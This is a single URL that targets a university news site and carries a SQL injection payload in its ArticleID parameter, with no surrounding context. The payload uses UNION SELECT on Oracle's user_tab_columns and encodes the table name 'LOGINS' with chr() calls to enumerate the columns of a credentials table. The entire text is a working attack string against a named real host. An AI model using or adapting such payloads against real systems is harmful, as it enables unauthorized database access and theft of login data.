http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,table_name||chr(58)||column_name||chr(58)||data_type+from+(select+a.*,rownum+rnum+from+(select+*+from+user_tab_columns+where+table_name=chr(76)||chr(79)||chr(71)||chr(73)||chr(78)||chr(83)+order+by+column_name)+a+where+rownum+%3C=+1)+where+rnum+%3E=+1--